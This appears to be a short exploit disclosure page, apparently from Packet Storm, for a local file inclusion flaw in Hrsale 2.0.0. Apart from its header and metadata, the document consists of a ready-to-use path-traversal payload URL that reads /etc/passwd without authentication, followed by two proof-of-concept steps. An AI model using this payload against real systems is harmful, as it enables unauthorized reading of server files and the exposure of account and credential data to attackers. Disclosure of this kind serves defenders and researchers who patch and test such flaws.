Hrsale version 2.0.0 suffers from a local file inclusion vulnerability.
f2bc6f68dc2b4bd21fb631c93a8683313c5d45427901f02a6f6ede52fb900613# Exploit Title: Hrsale 2.0.0 - Local File Inclusion
# Date: 10/21/2020
# Exploit Author: Sosecure
# Vendor Homepage: https://hrsale.com/index.php
# Version: version 2.0.0
Description:
This exploit allow you to download any readable file from server with out permission and login session.
Payload :
https://hrsale/download?type=files&filename=../../../../../../../../etc/passwd
POC:
1. Access to HRsale application and browse to download path with payload
2. Get /etc/passwd
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed